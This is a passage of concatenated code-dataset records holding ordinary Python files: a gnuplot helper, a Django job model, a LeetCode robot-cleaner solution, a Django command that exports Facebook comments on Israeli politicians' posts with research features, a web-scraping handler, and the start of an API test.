gnuplotFileLine += \" %f %f\" % (predLos[j][i], predUps[j][i])\n            print >>gnuplotFile, gnuplotFileLine\n    with open(dirName+\"/gnuplotTestFile.txt\", 'w') as gnuplotFile: \n        for i in range(threshold, len(sizes)):\n            gnuplotFileLine = \"%d %f %f %f %f %f\" % (sizes[i], runtimes[i], statIntervals[i][0], statIntervals[i][1], obsvLos[i], obsvUps[i])\n            for j in range(0, len(predLos)):\n                gnuplotFileLine += \" %f %f\" % (predLos[j][i], predUps[j][i])\n            print >>gnuplotFile, gnuplotFileLine\n\n","sub_path":"ESA/gnuplotHelper.py","file_name":"gnuplotHelper.py","file_ext":"py","file_size_in_byte":4361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"498011252","text":"from django.contrib.auth import get_user_model\nfrom django.db import models\nfrom multiselectfield import MultiSelectField\n\nfrom choices import TECHNOLOGIES\n\nUser = get_user_model()\n\n\nclass Job(models.Model):\n    user = models.ForeignKey(User, on_delete=models.CASCADE)\n    applicants = models.ManyToManyField(User, related_name='applications', blank=True)\n    freelancer = models.ForeignKey(User, related_name='jobs', blank=True, null=True, on_delete=models.SET_NULL)\n    summary = models.CharField(max_length=50)\n    details = models.TextField()\n    technologies = MultiSelectField(choices=TECHNOLOGIES)\n    deadline = models.DateField()\n    budget = models.PositiveIntegerField()\n    timestamp = models.DateTimeField(auto_now_add=True)\n    taken = models.BooleanField(default=False)\n    done = models.BooleanField(default=False)\n\n    def __str__(self):\n        return self.summary\n","sub_path":"jobs/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"264629413","text":"class Solution(object):\n    def cleanRoom(self, robot):\n        \"\"\"\n        :type robot: Robot\n        :rtype: None\n        \"\"\"\n        self.dfs(robot, 0, 0, 0, 1, set())\n\n    def dfs(self, robot, x, y, direction_x, direction_y, visited):\n        robot.clean()\n        visited.add((x, y))\n\n        for k in range(4):\n            neighbor_x = x + direction_x\n            neighbor_y = y + direction_y\n            if (neighbor_x, neighbor_y) not in visited and robot.move():\n                self.dfs(robot, neighbor_x, neighbor_y, direction_x, direction_y, visited)\n                # 3, Back to previous position and direction\n                robot.turnLeft()\n                robot.turnLeft()\n                robot.move()\n                robot.turnLeft()\n                robot.turnLeft()\n            robot.turnLeft()\n            direction_x, direction_y = -direction_y, direction_x","sub_path":"Archive/P/leetcode_random/Backtracking/[DIL]robo_cleaner.py","file_name":"[DIL]robo_cleaner.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"428500387","text":"#!encoding utf-8\nfrom csv import DictWriter\n\nimport json\n\nimport dateutil\nfrom django.utils import timezone\n\nfrom facebook_feeds.models import Facebook_Feed, Facebook_Status\nfrom facebook_feeds.management.commands.kikar_base_commands import \\\n    KikarCommentCommand\nfrom reporting.utils import TextProcessor\n\nfrom langdetect import detect\nfrom langdetect.lang_detect_exception import LangDetectException\nfrom functools32 import lru_cache\n\nRESEARCH_START_DATE = timezone.make_aware(timezone.datetime(2014, 1, 1))\n\nDELIMITER = '~'\nPARAGRAPH_LEN_THRESHOLD = 0\n\n\nclass Command(KikarCommentCommand):\n    def add_arguments(self, parser):\n        super(Command, self).add_arguments(parser)\n        parser.add_argument('--translate',\n                            action='store_true',\n                            dest='translate',\n                            default=False,\n                            help=\"translate comment data\"\n                            )\n        parser.add_argument('--second_stage',\n                            action='store_true',\n                            dest='second_stage',\n                            default=False,\n                            help=\"if flagged, get second stage features. Otherwise, get first stage.\"\n                            )\n\n        parser.add_argument('--all_comments',\n                            action='store_true',\n                            dest='all_comments',\n                            default=False,\n                            help=\"if flagged, export all comments, and use file to mark if in file.\"\n                            )\n\n    def handle(self, *args, **options):\n        print('Start.')\n\n        comments_in_file = self.parse_comments(options)\n        if options['all_comments']:\n            file_name_part = 'all_comments'\n        else:\n            file_name_part = options['file_path'].split('.csv')[0]\n        file_name = '{}_full_data.csv'.format(file_name_part)\n        if options['second_stage']:\n            file_name = ''.join([file_name.split('.')[0], '_2nd_stage.',\n                                 file_name.split('.')[1]])\n        f = open(file_name, 'wb')\n        if options['second_stage']:\n            field_names = [\n                'comment_id',\n                'MK_ID',\n                'mk_name',\n                'post_status_id',\n                'post_content',\n                'post_link',\n                'comment_link',\n                'comment_content',\n                'comment_content_processed',\n                'comment_time_of_publication',\n                'COMMENT_PUBLICATION_DAYS_FROM_RESEARCH_START_DATE',\n                'post_like_count',\n                'post_comment_count',\n                'post_share_count',\n                'comment_like_count',\n                'comment_comment_count',\n                'comment_main_language',\n                'POST_LEN_MESSAGE',\n                'COMMENT_LEN_MESSAGE',\n                'COMMENTATOR_LIKED_POST',\n                'HAS_NAME_OF_POST_WRITER_MK_IN_COMMENT',\n                'IDS_OF_MKS_MENTIONED_IN_COMMENT',\n                'NUM_OF_COMMENTS_BY_COMMENTATOR_ON_POST',\n                'COMMENTATOR_ID',\n                'POLITICAL_WING_HATNUA_LEFT',\n                'POLITICAL_WING_HATNUA_CENTER',\n                'IS_COALITION',\n                'PARTY_NAME',\n                'IS_FEMALE',\n                'AGE',\n                'MK_POLITICAL_STATUS',\n                'MK_POLITICAL_SENIORITY',\n                'IS_CURRENT_OR_PAST_PARTY_LEADER',\n                'IS_CURRENT_OR_PAST_PM_CANDIDATE',\n                'IS_PM',\n                'POST_PUBLICATION_TIMESTAMP',\n                'POST_PUBLICATION_DATE',\n                'POST_PUBLICATION_DAYS_FROM_RESEARCH_START_DATE',\n                'POST_WITH_PHOTO',\n                'POST_WITH_LINK',\n                'POST_WITH_VIDEO',\n                'POST_WITH_STATUS',\n                'POST_WITH_TEXT_ONLY',\n                'POST_IN_HEBREW',\n                'POST_IN_ENGLISH',\n                'POST_IN_ARABIC',\n                'POST_IN_OTHER',\n                'DAYS_FROM_ELECTION',\n                'DAYS_FROM_THREE_TEENAGER_KIDNAP',\n                'DAYS_FROM_PROTECTIVE_EDGE_OFFICIAL_START_DATE',\n                'DAYS_FROM_PROTECTIVE_EDGE_OFFICIAL_END_DATE',\n                'DAYS_FROM_DUMA_ARSON_ATTACK',\n                'DAYS_FROM_THIRD_INTIFADA_START_DATE',\n                'DAYS_FROM_MK_BIRTHDAY',\n                'POST_PUBLISHED_ON_SATURDAY',\n                'COMMENT_PUBLISHED_ON_SATURDAY',\n                'NUM_OF_COMMENTS_BY_COMMENTATOR_ID_ON_GIVEN_MK_POSTS',\n                'NUM_OF_LIKES_BY_COMMENTATOR_ID_ON_GIVEN_MK_POSTS',\n                'RATIO_OF_COMMENTS_BY_COMMENTATOR_ID_ON_GIVEN_MK_POSTS',\n                'RATIO_OF_LIKES_BY_COMMENTATOR_ID_ON_GIVEN_MK_POSTS',\n                'NUM_OF_COMMENTS_BY_COMMENTATOR_ID_ON_ALL_MK_POSTS',\n                'NUM_OF_LIKES_BY_COMMENTATOR_ID_ON_ALL_MK_POSTS',\n                'RATIO_OF_COMMENTS_BY_COMMENTATOR_ID_ON_ALL_MK_POSTS',\n                'RATIO_OF_LIKES_BY_COMMENTATOR_ID_ON_ALL_MK_POSTS',\n                'is_train',\n            ]\n\n        else:\n            field_names = [\n                'comment_id',\n                'mk_id',\n                'mk_name',\n                'parent_status_id',\n                'parent_status_content',\n                'parent_status_link',\n                'comment_link',\n                'content',\n                'content_processed',\n                'published',\n                'commentator_id',\n                'commentator_also_liked_status',\n                'like_count',\n                'comment_count',\n                'language',\n                'is_train',\n            ]\n        csv_data = DictWriter(f, fieldnames=field_names, delimiter=DELIMITER)\n        headers = {field_name: field_name for field_name in field_names}\n        csv_data.writerow(headers)\n\n        processor = TextProcessor()\n\n        if options['all_comments']:\n            i = 0\n            for status in Facebook_Status.objects_no_filters.filter(\n                    is_comment=False):\n                for comment in status.comments.all():\n                    print('writing comment {}'.format(i + 1))\n                    i += 1\n                    self.handle_comment(comment, comments_in_file, csv_data,\n                                        options, processor)\n        else:\n            for i, comment in enumerate(comments_in_file):\n                print('writing comment {} '\n                      'of {}'.format(i + 1, comments_in_file.count()))\n                self.handle_comment(comment, comments_in_file, csv_data,\n                                    options, processor)\n\n        f.close()\n        print('Done.')\n\n    def handle_comment(self, comment, comments_in_file, csv_data, options,\n                       processor):\n        processed_text = processor.replace_mk_names(text=comment.content,\n                                                    context_status=comment.parent)\n        if options['translate']:\n            processed_text = processor.request_translated_text_from_google(\n                text=processed_text)\n        processed_text = processor.replace_emojis_to_named_text(\n            text=processed_text)\n        if options['second_stage']:\n            dict_row = self.get_second_stage_comment_features(comment,\n                                                              processed_text,\n                                                              processor,\n                                                              comments_in_file)\n        else:\n            dict_row = self.get_first_stage_comment_features(comment,\n                                                             processed_text,\n                                                             processor,\n                                                             comments_in_file)\n        csv_data.writerow(dict_row)\n\n    def get_first_stage_comment_features(self, comment, processed_text,\n                                         processor, comments_in_file):\n\n        mk = comment.parent.feed.persona.content_object or \\\n             comment.parent.feed.persona.alt_content_object\n\n        return {\n            'comment_id': comment.comment_id,\n            'mk_id': mk.id if mk else None,\n            'mk_name': processor.flatten_text(\n                mk.name if mk else None,\n                delimiter=DELIMITER),\n            'parent_status_id': comment.parent.status_id,\n            'parent_status_content': processor.flatten_text(\n                comment.parent.content,\n                delimiter=DELIMITER),\n            'parent_status_link': comment.parent.get_link,\n            'comment_link': 'www.facebook.com/{}'.format(comment.comment_id),\n            'content': processor.flatten_text(comment.content,\n                                              delimiter=DELIMITER),\n            'content_processed': processor.flatten_text(processed_text,\n                                                        delimiter=DELIMITER),\n            'published': comment.published,\n            'commentator_id': comment.comment_from.facebook_id,\n            'commentator_also_liked_status': comment.comment_from.likes.filter(\n                status__status_id=comment.parent.status_id).exists(),\n            'like_count': comment.like_count,\n            'comment_count': comment.comment_count,\n            'language': comment.content_lang(),\n            'is_train': comments_in_file.filter(\n                comment_id=comment.comment_id).exists()\n        }\n\n    def get_second_stage_comment_features(self, comment, processed_text,\n                                          processor, comments_in_file):\n        mk = comment.parent.feed.persona.content_object\n\n        status_langs = self.detect_languages(comment.parent)\n\n        return {\n            'comment_id': comment.comment_id,\n            'MK_ID': mk.id,\n            'mk_name': processor.flatten_text(mk.name, delimiter=DELIMITER),\n            'post_status_id': comment.parent.status_id,\n            'post_content': processor.flatten_text(comment.parent.content,\n                                                   delimiter=DELIMITER),\n            'post_link': comment.parent.get_link,\n            'comment_link': 'www.facebook.com/{}'.format(comment.comment_id),\n            'comment_content': processor.flatten_text(comment.content,\n                                                      delimiter=DELIMITER),\n            'comment_content_processed': processor.flatten_text(processed_text,\n                                                                delimiter=DELIMITER),\n            'comment_time_of_publication': comment.published,\n            'COMMENT_PUBLICATION_DAYS_FROM_RESEARCH_START_DATE': self.days_from_research_start_date(\n                comment.published),\n            'post_like_count': comment.parent.like_count,\n            'post_comment_count': comment.parent.comment_count,\n            'post_share_count': comment.parent.share_count,\n            'comment_like_count': comment.like_count,\n            'comment_comment_count': comment.comment_count,\n            'comment_main_language': comment.content_lang(),\n            'POST_LEN_MESSAGE': len(comment.parent.content),\n            'COMMENT_LEN_MESSAGE': len(comment.content),\n            'COMMENTATOR_LIKED_POST': comment.comment_from.likes.filter(\n                status__status_id=comment.parent.status_id).exists(),\n            'HAS_NAME_OF_POST_WRITER_MK_IN_COMMENT': processor.is_mk_id_pattern_in_text(\n                text=comment.content,\n                mk_id=mk.id),\n            'IDS_OF_MKS_MENTIONED_IN_COMMENT': ';'.join(\n                ['{}'.format(x) for x in\n                 processor.get_mentioned_mks(text=comment.content)]),\n            'NUM_OF_COMMENTS_BY_COMMENTATOR_ON_POST': self.number_of_comments_by_commentator_on_statuses(\n                comment.comment_from, [comment.parent]),\n            'COMMENTATOR_ID': comment.comment_from.facebook_id,\n            'POLITICAL_WING_HATNUA_LEFT': self.get_political_wing(\n                mk.current_party, hatnua=\"LEFT\"),\n            'POLITICAL_WING_HATNUA_CENTER': self.get_political_wing(\n                mk.current_party, hatnua=\"CENTER\"),\n            'IS_COALITION': self.is_party_in_coalition_during_date(\n                mk.current_party, comment.parent.published),\n            'PARTY_NAME': processor.flatten_text(mk.current_party.name),\n            'IS_FEMALE': self.is_mk_female(mk),\n            'AGE': mk.age.years,\n            'MK_POLITICAL_STATUS': None,\n            'MK_POLITICAL_SENIORITY': None,\n            'IS_CURRENT_OR_PAST_PARTY_LEADER': self.is_current_or_past_party_leader(\n                comment.parent.feed),\n            'IS_CURRENT_OR_PAST_PM_CANDIDATE': self.is_current_or_past_pm_candidate(\n                comment.parent.feed),\n            'IS_PM': self.is_pm(comment.parent.feed),\n            'POST_PUBLICATION_TIMESTAMP': comment.parent.published,\n            'POST_PUBLICATION_DATE': comment.parent.published.strftime(\n                '%Y/%m/%d'),\n            'POST_PUBLICATION_DAYS_FROM_RESEARCH_START_DATE': self.days_from_research_start_date(\n                comment.parent.published),\n            'POST_WITH_PHOTO': comment.parent.has_attachment and comment.parent.attachment.type == 'photo',\n            'POST_WITH_LINK': comment.parent.has_attachment and comment.parent.attachment.type == 'link',\n            'POST_WITH_VIDEO': comment.parent.has_attachment and comment.parent.attachment.type == 'video',\n            'POST_WITH_STATUS': comment.parent.has_attachment and comment.parent.attachment.type == 'status',\n            'POST_WITH_TEXT_ONLY': not comment.parent.has_attachment,\n            'POST_IN_HEBREW': 'he' in status_langs,\n            'POST_IN_ENGLISH': 'en' in status_langs,\n            'POST_IN_ARABIC': 'ar' in status_langs,\n            'POST_IN_OTHER': bool(\n                [x for x in status_langs if x not in ['he', 'en', 'ar']]),\n            'DAYS_FROM_ELECTION': self.days_from_event(\n                comment.parent.published,\n                timezone.make_aware(timezone.datetime(2015, 3, 17))),\n            'DAYS_FROM_THREE_TEENAGER_KIDNAP': self.days_from_event(\n                comment.parent.published,\n                timezone.make_aware(timezone.datetime(2014, 6, 12))),\n            'DAYS_FROM_PROTECTIVE_EDGE_OFFICIAL_START_DATE': self.days_from_event(\n                comment.parent.published,\n                timezone.make_aware(timezone.datetime(2014, 7, 8))),\n            'DAYS_FROM_PROTECTIVE_EDGE_OFFICIAL_END_DATE': self.days_from_event(\n                comment.parent.published,\n                timezone.make_aware(timezone.datetime(2014, 8, 26))),\n            'DAYS_FROM_DUMA_ARSON_ATTACK': self.days_from_event(\n                comment.parent.published,\n                timezone.make_aware(timezone.datetime(2015, 7, 31))),\n            'DAYS_FROM_THIRD_INTIFADA_START_DATE': self.days_from_event(\n                comment.parent.published,\n                timezone.make_aware(timezone.datetime(2015, 9, 13))),\n            'DAYS_FROM_MK_BIRTHDAY': self.days_from_birthday(\n                comment.parent.published, mk),\n            'POST_PUBLISHED_ON_SATURDAY': self.is_date_in_holiday(\n                comment.parent.published),\n            'COMMENT_PUBLISHED_ON_SATURDAY': self.is_date_in_holiday(\n                comment.published),\n            'NUM_OF_COMMENTS_BY_COMMENTATOR_ID_ON_GIVEN_MK_POSTS':\n                self.number_of_comments_by_commentator_for_feed_id(\n                    comment.comment_from, comment.parent.feed.id),\n            'NUM_OF_LIKES_BY_COMMENTATOR_ID_ON_GIVEN_MK_POSTS':\n                self.num_of_likes_by_commentator_for_feed_id(\n                    comment.comment_from, comment.parent.feed.id),\n            'RATIO_OF_COMMENTS_BY_COMMENTATOR_ID_ON_GIVEN_MK_POSTS':\n                self.ratio_of_commented_statuses_by_commentator_for_feed_id(\n                    comment.comment_from,\n                    comment.parent.feed.id),\n            'RATIO_OF_LIKES_BY_COMMENTATOR_ID_ON_GIVEN_MK_POSTS':\n                self.ratio_of_likes_by_commentator_on_statuses_by_feed_id(\n                    comment.comment_from,\n                    comment.parent.feed.id),\n            'NUM_OF_COMMENTS_BY_COMMENTATOR_ID_ON_ALL_MK_POSTS': 1 or self.num_of_comments_by_commentator_on_all_statuses(\n                comment.comment_from),\n            'NUM_OF_LIKES_BY_COMMENTATOR_ID_ON_ALL_MK_POSTS': 1 or self.num_of_likes_by_commentator_on_all_statuses(\n                comment.comment_from),\n            'RATIO_OF_COMMENTS_BY_COMMENTATOR_ID_ON_ALL_MK_POSTS': 1 or\n                                                                   self.ratio_of_commented_statuses_by_commentator_on_all_statuses(\n                                                                       comment.comment_from),\n            'RATIO_OF_LIKES_BY_COMMENTATOR_ID_ON_ALL_MK_POSTS': 1 or self.ratio_of_likes_by_commentator_on_all_statuses(\n                comment.comment_from),\n            'is_train': comments_in_file.filter(\n                comment_id=comment.comment_id).exists()\n        }\n\n    def is_party_in_coalition_during_date(self, party, published):\n        if party.id in [14, 27, 30, 17]:  # likud, Habayt Hayehudi\n            return True\n        elif party.id in [33, 10, 16, 20, 22, 28, 25,\n                          35]:  # Meretz, Haavoda, Arab Parties, Kadima\n            return False\n        elif party.id in [32, 19, 34]:  # Kulanu, Yehadut Hatora\n            return published.date() >= timezone.datetime(2015, 4,\n                                                         29).date()  # Coalition Agreement w. parties\n        elif party.id in [36, 18]:  # Shas\n            return published.date() >= timezone.datetime(2015, 5,\n                                                         4).date()  # Coalition Agreement w. party\n        elif party.id in [15, 21, 29]:  # Yesh Atid, Hatnua\n            return published.date() < self.get_gov_33_break_date()\n        elif party.id in [31]:  # Israel Beiteinu\n            return published.date() < timezone.datetime(2015, 5,\n                                                        6).date()  # date of gov 33 start, without Istael Beitenu\n            # until 2016.5.26, beyond research range\n        return None\n\n    def get_gov_33_break_date(self):\n        return timezone.datetime(2014, 12, 4).date()\n\n    def days_from_research_start_date(self, date):\n        return (date - RESEARCH_START_DATE).days\n\n    def is_mk_female(self, mk):\n        return self.mk_gender_wrapper(mk) == 'F'\n\n    def mk_gender_wrapper(self, mk):\n        if mk.gender:\n            return mk.gender\n        if mk.id in [910, 920, 921, 938, 945]:\n            return 'M'\n        elif mk.id in [935]:\n            return 'F'\n        else:\n            return ''\n\n    def days_from_birthday(self, pub_date, mk):\n        birthday_this_year = self.mk_birthday_for_year(mk, year=pub_date.year)\n        birthday_last_year = self.mk_birthday_for_year(mk,\n                                                       year=pub_date.year - 1)\n        birthday_next_year = self.mk_birthday_for_year(mk,\n                                                       year=pub_date.year + 1)\n        return min(abs(pub_date - birthday_this_year).days,\n                   abs(pub_date - birthday_last_year).days,\n                   abs(pub_date - birthday_next_year).days)\n\n    def mk_birthday_for_year(self, mk, year=2016):\n        if mk.date_of_birth:\n            return timezone.make_aware((timezone.datetime(year,\n                                                          mk.date_of_birth.month,\n                                                          mk.date_of_birth.day)))\n        return None\n\n    def ratio_of_commented_statuses_by_commentator_on_all_statuses(self,\n                                                                   commentator):\n        return self.num_of_comments_by_commentator_on_all_statuses(\n            commentator) * 1.0 / self.count_all_statuses()\n\n    def ratio_of_commented_statuses_by_commentator_for_feed_id(self,\n                                                               commentator,\n                                                               feed_id):\n        return self.number_of_commented_on_statuses_for_feed_id(commentator,\n                                                                feed_id) * 1.0 / \\\n               self.count_statuses_for_feed_id(feed_id)\n\n    @lru_cache(maxsize=180)\n    def num_of_comments_by_commentator_on_all_statuses(self, commentator):\n        statuses = Facebook_Status.objects.all()\n        count_statuses = 0\n        for status in statuses:\n            count_statuses += int(\n                self.is_status_commented_on_by_commentator(commentator,\n                                                           status))\n        return count_statuses\n\n    @lru_cache(maxsize=180)\n    def number_of_commented_on_statuses_for_feed_id(self, commentator,\n                                                    feed_id):\n        statuses = Facebook_Feed.objects.get(\n            id=feed_id).facebook_status_set_no_filters.all()\n        count_statuses = 0\n        for status in statuses:\n            count_statuses += int(\n                self.is_status_commented_on_by_commentator(commentator,\n                                                           status))\n        return count_statuses\n\n    @lru_cache(maxsize=180)\n    def is_status_commented_on_by_commentator(self, commentator, status):\n        return commentator.comments.filter(\n            parent__status_id=status.status_id).exists()\n\n    @lru_cache(maxsize=180)\n    def number_of_comments_by_commentator_for_feed_id(self, commentator,\n                                                      feed_id):\n        statuses = Facebook_Feed.objects.get(\n            id=feed_id).facebook_status_set_no_filters.all()\n        return self.number_of_comments_by_commentator_on_statuses(commentator,\n                                                                  statuses)\n\n    def number_of_comments_by_commentator_on_statuses(self, commentator,\n                                                      statuses):\n        return commentator.comments.filter(parent__in=statuses).count()\n\n    @lru_cache(maxsize=180)\n    def get_number_of_comments_for_feed(self, feed_id):\n        feed = Facebook_Feed.objects.get(id=feed_id)\n        return self.get_number_of_comments(\n            feed.facebook_status_set_no_filters.all())\n\n    def get_number_of_comments(self, statuses):\n        num_of_comments = 0\n        for status in statuses:\n            num_of_comments += status.comments.count()\n        return num_of_comments\n\n    def ratio_of_likes_by_commentator_on_statuses_by_feed_id(self, commentator,\n                                                             feed_id):\n        return self.num_of_likes_by_commentator_for_feed_id(commentator,\n                                                            feed_id) * 1.0 / self.count_statuses_for_feed_id(\n            feed_id)\n\n    def ratio_of_likes_by_commentator_on_all_statuses(self, commentator):\n        return self.num_of_likes_by_commentator_on_all_statuses(\n            commentator) * 1.0 / self.count_all_statuses()\n\n    @lru_cache(maxsize=5)\n    def count_all_statuses(self):\n        return Facebook_Status.objects.all().count()\n\n    @lru_cache(maxsize=180)\n    def count_statuses_for_feed_id(self, feed_id):\n        return Facebook_Feed.objects.get(\n            id=feed_id).facebook_status_set_no_filters.count()\n\n    @lru_cache(maxsize=180)\n    def num_of_likes_by_commentator_for_feed_id(self, commentator, feed_id):\n        statuses = Facebook_Feed.objects.get(\n            id=feed_id).facebook_status_set_no_filters.all()\n        return self.number_of_likes_by_commentator_on_statuses(commentator,\n                                                               statuses)\n\n    @lru_cache(maxsize=180)\n    def num_of_likes_by_commentator_on_all_statuses(self, commentator):\n        statuses = Facebook_Status.objects.all()\n        return self.number_of_likes_by_commentator_on_statuses(commentator,\n                                                               statuses)\n\n    def number_of_likes_by_commentator_on_statuses(self, commentator,\n                                                   statuses):\n        return commentator.likes.filter(status__in=statuses).count()\n\n    def get_political_wing(self, party, hatnua='LEFT'):\n        if party.id in [21]:  # Hatnua\n            return hatnua\n        if party.id in [30, 31, 27, 14,\n                        17]:  # Habait Hayehudi, Israel-Beitenu, Likud, Likud-Israel Beitenu\n            return 'RIGHT'\n        elif party.id in [32, 15, 25, 29]:  # Yesh Atid, Kulanu, Kadima\n            return 'CENTER'\n        elif party.id in [33, 16, 20, 28]:  # Meretz, Haavoda\n            return 'LEFT'\n        elif party.id in [35, 10, 22]:  # Joint List and subsidiary\n            return 'ARAB'\n        elif party.id in [34, 36, 18, 19]:  # Shas, Yehadut Hatora\n            return 'CHAREDI'\n        else:\n            return None\n\n    def days_from_event(self, pub_date, event_date):\n        return (pub_date - event_date).days\n\n    def detect_languages(self, status):\n        languages = list()\n        for paragraph in self.split_text_to_paragraphs(status.content):\n            self.remove_stoppharses_from_text(paragraph)\n            if len(paragraph) > PARAGRAPH_LEN_THRESHOLD:  # Ignore short\n                languages.append(self.detect_language(paragraph))\n        return list(set(languages))\n\n    def remove_stoppharses_from_text(self, text):\n        stop_phrases = []\n        for phrase in stop_phrases:\n            text = text.replace(phrase, '')\n        return text\n\n    def detect_language(self, text):\n        try:\n            return detect(text)\n        except LangDetectException as e:\n            return u''\n\n    def split_text_to_paragraphs(self, text):\n        return [text]\n\n    def is_pm(self, feed):\n        if feed.id == 30:\n            return True\n        return False\n\n    def is_current_or_past_pm_candidate(self, feed):\n        if feed.id in [14, 12, 51, 4]:  # Lapid, Hertzog, Yechimovich, Livni\n            return True\n        return False\n\n    def is_current_or_past_party_leader(self, feed):\n        if feed.id in [53, 109, 141, 138, 4, 52, 80, 20, 51, 40, 79, 54, 14,\n                       35, 30, 73, 12, 22, 89, 44]:\n            return True\n        return False\n\n    def is_date_in_holiday(self, pub_date):\n        time_pairs = self.load_shabbat_time_pairs()\n        for pair in time_pairs:\n            if pair[0] <= pub_date <= pair[1]:\n                return True\n        return False\n\n    def load_shabbat_time_pairs(self):\n        with open('time_pairs.json', 'r') as f:\n            time_pairs = json.load(f)\n        parsed_time_pairs = []\n        for pair in time_pairs:\n            parsed_time_pairs.append((dateutil.parser.parse(pair[0]),\n                                      dateutil.parser.parse(pair[1])))\n        return parsed_time_pairs\n","sub_path":"kikar_hamedina/reporting/management/commands/export_comments_to_csv.py","file_name":"export_comments_to_csv.py","file_ext":"py","file_size_in_byte":27055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"156994342","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, unicode_literals\n\nfrom bs4 import BeautifulSoup\nfrom google.appengine.api import urlfetch\n\nfrom myfunctions import parse_table as pt\nfrom myfunctions import pprinttable\n\nfrom welgae import *\nimport webapp2\n\n# @route('/')\n# def index(request, *args, **kwargs):\n#     return render_template(\"index\")\n\n@route(r'/')\nclass IndexHandler(WelHandler):\n    def get(self):\n        self.render_template()\n\n@route(r'/save')\nclass Handler(WelHandler):\n    def post(self):\n        self.redirect(route_to(IndexHandler))\n\ndef index(_write_tmpl, **kwargs):\n    error = ''\n    result = ''\n    occurrences = 0\n    occurrence = int(kwargs.get('occurrence', 0))\n    url = kwargs.get('url')\n    fetch_result = urlfetch.fetch(url)\n    gettext = kwargs.get('gettext', '')\n    css = kwargs.get('css')\n    col_number = kwargs.get('col_number')\n    parse_table = kwargs.get('parse_table', '')\n    decimal_sep = kwargs.get('decimal_sep', '.')\n    thousands_sep = kwargs.get('thousands_sep', ',')\n    if fetch_result.status_code == 200:\n        soup = BeautifulSoup(fetch_result.content)\n        result = soup.select(css)\n        occurrences = len(result)\n        if parse_table:\n            if occurrence:\n                _rows = pt(result[occurrence-1], decimal_sep, thousands_sep)\n            else:\n                _rows = pt(result[0], decimal_sep, thousands_sep)\n            result = [pprinttable(_rows)]\n        else:\n            if gettext:\n                result = [text.get_text() for text in result]\n            else:\n                result = [text.prettify() for text in result]\n            if occurrence:\n                result = [result[occurrence-1]]\n            else:\n                result = [tok.strip() for tok in result if tok.strip()]\n    else:\n        error = 'status_code = %d' % fetch_result.status_code\n    _write_tmpl('templates/index.html', {\n        'url': url,\n        'css': css,\n        'error': error,\n        'result': result,\n        'gettext': gettext,\n        'col_number': col_number,\n        'occurrence': occurrence,\n        'occurrences': occurrences,\n        'parse_table': parse_table,\n        'decimal_sep': decimal_sep,\n        'thousands_sep': thousands_sep\n    })\n\n\nhtml = '''\n<table align=\"center\" cellpadding=\"1\" cellspacing=\"1\" class=\"tabelaTaxaSelic\">\n <tr>\n  <th rowspan=\"2\">\n   Data\n  </th>\n  <th rowspan=\"2\">\n   Taxa (%a.a.)\n  </th>\n  <th rowspan=\"2\">\n   Fator diário\n  </th>\n  <th rowspan=\"2\">\n   Base de cálculo (R$)\n  </th>\n  <th colspan=\"5\">\n   Estatísticas\n  </th>\n </tr>\n <tr>\n  <th>\n   Média\n  </th>\n  <th>\n   Mediana\n  </th>\n  <th>\n   Moda\n  </th>\n  <th>\n   Desvio padrão\n  </th>\n  <th>\n   Índice de curtose\n  </th>\n </tr>\n <tr>\n  <td>\n   02/05/2014\n  </td>\n  <td>\n   10,90\n  </td>\n  <td>\n   1,00041063\n  </td>\n  <td>\n   266.004.322.181,56\n  </td>\n  <td>\n   10,90\n  </td>\n  <td>\n   10,89\n  </td>\n  <td>\n   10,90\n  </td>\n  <td>\n   0,03\n  </td>\n  <td>\n   292,49\n  </td>\n </tr>\n</table>\n'''\n\n\n# Declaring app -- instantiated in welgae\n\napp = welapp","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"550077085","text":"from foryou.test_case.my_test import *\r\nimport time\r\n\r\n\r\nclass TestAgentCrm(MyTest):\r\n    \"\"\"经纪人管理相关\"\"\"\r\n\r\n    def test_select_List(self):\r\n        \"\"\"筛选列表\"\"\"\r\n        self.brokers_info = remote_database('fykc_xbroker_service', 'select id,brokerMobile,status,companyId,' +\r\n                                            'brokerName,workProvinceId,workCityId,workDistrictId,workProvinceName,' +\r\n                                            'workCityName,workDistrictName,belongAreaId,belongAreaName,createTime ' +\r\n                                            'from broker_info order by id DESC limit 10')\r\n        self.data = []\r\n        for i in self.brokers_info:\r\n            self.base = ['id', 'brokerMobile', 'status', 'statusDesc', 'statusEnum', 'companyId', 'brokerName',\r\n                         'workProvinceId', 'workCityId', 'workDistrictId',\r\n                         'workProvinceName', 'workCityName', 'workDistrictName', 'belongAreaId', 'belongAreaName',\r\n                         'createTime', 'companyName', 'companyStatus',\r\n                         'companyStatusEnum', 'companyStatusDesc', 'transportType', 'penalty', 'cardType', ]\r\n            self.broker_info = []\r\n            self.broker_info.append(i[0])  # id\r\n            self.phone_list = list(i[1])\r\n            self.phone_list[3] = \"*\"\r\n            self.phone_list[4] = \"*\"\r\n            self.phone_list[5] = \"*\"\r\n            self.phone_list[6] = \"*\"\r\n            self.new_phone = \"\".join(self.phone_list)\r\n            self.broker_info.append(self.new_phone)  # brokerMobile\r\n            self.broker_info.append(i[2])  # status\r\n            if i[2] == 1:\r\n                self.broker_info.append(\"NORMAL\")  # statusDesc\r\n                self.broker_info.append(\"NORMAL\")  # statusEnum\r\n            else:\r\n                self.broker_info.append(\"FREEZE\")  # statusDesc\r\n                self.broker_info.append(\"FREEZE\")  # statusEnum\r\n            if i[3] == None:\r\n                self.base.remove(\"companyId\")\r\n            else:\r\n                self.broker_info.append(i[3])  # companyId\r\n            self.broker_info.append(i[4])  # brokerName\r\n            self.broker_info.append(i[5])  # workProvinceId\r\n            self.broker_info.append(i[6])  # workCityId\r\n            self.broker_info.append(i[7])  # workDistrictId\r\n            self.broker_info.append(i[8])  # workProvinceName\r\n            self.broker_info.append(i[9])  # workCityName\r\n            self.broker_info.append(i[10])  # workDistrictName\r\n            self.broker_info.append(i[11])  # belongAreaId\r\n            